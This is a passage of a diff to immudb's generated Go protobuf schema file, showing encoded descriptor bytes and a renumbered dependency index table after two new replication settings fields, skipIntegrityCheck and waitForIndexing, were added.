0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, + 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10450,203 +10477,205 @@ var file_schema_proto_depIdxs = []int32{ 75, // 89: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 75, // 90: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 75, // 91: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 92: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 80, // 93: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 80, // 94: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 75, // 95: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 96: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 97: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 98: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 99: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 76, // 100: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 101: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 102: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 103: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 104: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 105: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 106: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 107: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 108: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 80, // 109: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 75, // 110: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 111: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 116, // 112: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 95, // 113: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 114: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 97, // 115: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 116: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 117: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 127, // 118: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 128, // 119: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 129, // 120: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 130, // 121: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 122: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 123: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 105, // 124: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 125: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 110, // 126: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 110, // 127: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 116, // 128: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 112, // 129: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 130: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 131, // 131: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 132, // 132: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 114, // 133: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 115, // 134: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 116, // 135: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 133, // 136: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 137: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 138: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 139: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 116, // 140: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 116, // 141: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 134, // 142: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 143: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 144: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 100, // 145: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 101, // 146: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 147: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 148: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 149: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 134, // 150: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 134, // 151: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 117, // 152: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 134, // 153: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 134, // 154: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 108, // 155: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 156: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 157: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 134, // 158: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 159: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 160: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 161: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 162: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 163: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 164: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 165: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 166: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 167: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 134, // 168: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 169: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 170: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 171: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 172: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 173: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 134, // 174: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 134, // 175: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 134, // 176: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 177: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 178: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 179: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 180: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 181: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 182: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 183: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 184: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 86, // 185: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 88, // 186: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 90, // 187: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 134, // 188: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 103, // 189: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 190: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 191: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 192: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 134, // 193: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 194: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 92, // 195: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 134, // 196: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 197: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 106, // 198: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 199: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 106, // 200: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 201: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 202: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 203: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 106, // 204: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 205: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 106, // 206: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 108, // 207: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 208: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 134, // 209: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 94, // 210: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 96, // 211: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 122, // 212: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 213: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 134, // 214: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 134, // 215: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 134, // 216: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 134, // 217: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 134, // 218: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 134, // 219: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 220: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 134, // 221: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 134, // 222: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 118, // 223: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 112, // 224: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 134, // 225: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 134, // 226: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 113, // 227: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 228: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 134, // 229: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 230: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 231: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 232: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 233: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 234: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 235: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 236: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 237: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 238: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 239: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 240: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 241: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 242: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 243: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 244: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 245: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 246: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 247: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 248: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 249: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 250: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 251: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 252: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 134, // 253: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 134, // 254: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 255: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 87, // 256: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 89, // 257: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 91, // 258: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 102, // 259: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 104, // 260: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 99, // 261: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 134, // 262: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 263: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 264: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 265: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 93, // 266: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 134, // 267: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 106, // 268: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 269: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 106, // 270: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 271: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 106, // 272: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 106, // 273: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 106, // 274: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 275: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 106, // 276: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 277: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 111, // 278: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 113, // 279: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 113, // 280: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 113, // 281: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 98, // 282: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 123, // 283: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 213, // [213:284] is the sub-list for method output_type - 142, // [142:213] is the sub-list for method input_type - 142, // [142:142] is the sub-list for extension type_name - 142, // [142:142] is the sub-list for extension extendee - 0, // [0:142] is the sub-list for field type_name + 78, // 92: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool + 78, // 93: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool + 78, // 94: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool + 80, // 95: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 80, // 96: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 75, // 97: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 98: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 99: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 100: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 101: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 102: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 103: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 104: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 105: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 106: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 107: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 108: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 109: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 110: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 80, // 111: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 75, // 112: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 113: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 116, // 114: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 95, // 115: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 116: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 97, // 117: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 118: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 119: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 127, // 120: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 128, // 121: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 129, // 122: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 130, // 123: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 124: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 125: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 105, // 126: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 127: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 110, // 128: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 110, // 129: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 116, // 130: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 112, // 131: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 132: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 131, // 133: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 132, // 134: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 114, // 135: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 115, // 136: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 116, // 137: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 133, // 138: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 139: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 140: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 141: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 116, // 142: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 116, // 143: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 134, // 144: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 145: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 146: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 100, // 147: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 101, // 148: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 149: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 150: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 151: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 134, // 152: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 134, // 153: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 117, // 154: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 134, // 155: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 134, // 156: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 108, // 157: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 158: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 159: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 134, // 160: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 161: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 162: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 163: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 164: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 165: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 166: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 167: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 168: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 169: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 134, // 170: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 171: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 172: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 173: immudb.schema.ImmuService.TxScan:input_type -> 